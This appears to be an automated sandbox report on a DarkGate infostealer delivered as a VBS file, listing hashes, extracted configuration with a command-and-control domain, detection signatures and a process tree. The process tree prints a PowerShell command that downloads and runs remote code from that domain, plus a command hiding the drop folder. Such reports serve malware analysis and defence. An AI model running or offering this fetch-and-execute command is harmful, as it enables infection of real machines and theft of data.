Analysis

  • max time kernel
    145s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-03-2024 01:17

General

  • Target

    20032024_0917_AZURE_DOC_OPEN.vbs

  • Size

    12KB

  • MD5

    802e03ffd6498ec9693848197fe4d2e5

  • SHA1

    958dfdadcd0f21d801561b94c23b8b3d6e5f4688

  • SHA256

    b3a8c88bdd9701a5ca532e0b433944e0992a3ae90e0bb974b2d091b2a01efb94

  • SHA512

    06d886eb039d120372a112c1f2c1a399d788800bd6ffc5892dd9e38f6ee4f8c7c2125e654248f2df24016276fedd52c6f7f30146d34a46ccb217b72abcbefb4a

  • SSDEEP

    192:oMg119gkCtL3IqSPN3QzGNzUoNzhLnOdEpeLSHZgNdPR/Dnm9V4nN6UX:Ty19gR3IquNgzG2oNdOdEpeeqlPX

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

badbutperfect.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    WZqqpfdY

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\20032024_0917_AZURE_DOC_OPEN.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2528
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwncpwo')
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3320
      • C:\rimz\AutoHotkey.exe
        "C:\rimz\AutoHotkey.exe" script.ahk
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:4828
      • C:\Windows\system32\attrib.exe
        "C:\Windows\system32\attrib.exe" +h C:/rimz
        3⤵
        • Views/modifies file attributes
        PID:4864

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_alypmiop.boq.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\rimz\AutoHotkey.exe

    Filesize

    892KB

    MD5

    a59a2d3e5dda7aca6ec879263aa42fd3

    SHA1

    312d496ec90eb30d5319307d47bfef602b6b8c6c

    SHA256

    897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

    SHA512

    852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

  • C:\rimz\script.ahk

    Filesize

    54KB

    MD5

    f02f0bba1f1f678da41abafd02f4c545

    SHA1

    c40b80bc4947d4ac52bc9c17d6d218b1fa9cd452

    SHA256

    5aac7d31149048763e688878c3910ae4881826db80e078754f5d08f2c1f39572

    SHA512

    8b56e388781a9fb855d8352f2cf175a7e0c5bb36bacd79be719ffa0c9f4c9f6e852bd460b6e9b0b7ea47ff38aa803e43a2366bf7a2686905c05bdd9e231b5b22

  • C:\rimz\test.txt

    Filesize

    915KB

    MD5

    4e1b052f107d2ee5321b44fc0e107638

    SHA1

    679e1f8006a2d6ed61f0dbaf5e9d3cd252421cd4

    SHA256

    a39dba6db04a85050ba7949881769f4b006b4a8edf691a605bfa5fe7c24d3489

    SHA512

    5c4d1907ef2cbc894e8e33d268160a88e9db2d1a081676cba9d8fcfda4c120458a2ed90d44b2963accc842b03fac9bf231145d5991899bf6ab4871d9b65c2cb1

  • memory/3320-9-0x000001FCEFAE0000-0x000001FCEFB02000-memory.dmp

    Filesize

    136KB

  • memory/3320-10-0x00007FFA63540000-0x00007FFA64001000-memory.dmp

    Filesize

    10.8MB

  • memory/3320-11-0x000001FCED760000-0x000001FCED770000-memory.dmp

    Filesize

    64KB

  • memory/3320-12-0x000001FCF01A0000-0x000001FCF0362000-memory.dmp

    Filesize

    1.8MB

  • memory/3320-27-0x00007FFA63540000-0x00007FFA64001000-memory.dmp

    Filesize

    10.8MB

  • memory/4828-30-0x0000000004B50000-0x0000000004BC3000-memory.dmp

    Filesize

    460KB

  • memory/4828-32-0x0000000004B50000-0x0000000004BC3000-memory.dmp

    Filesize

    460KB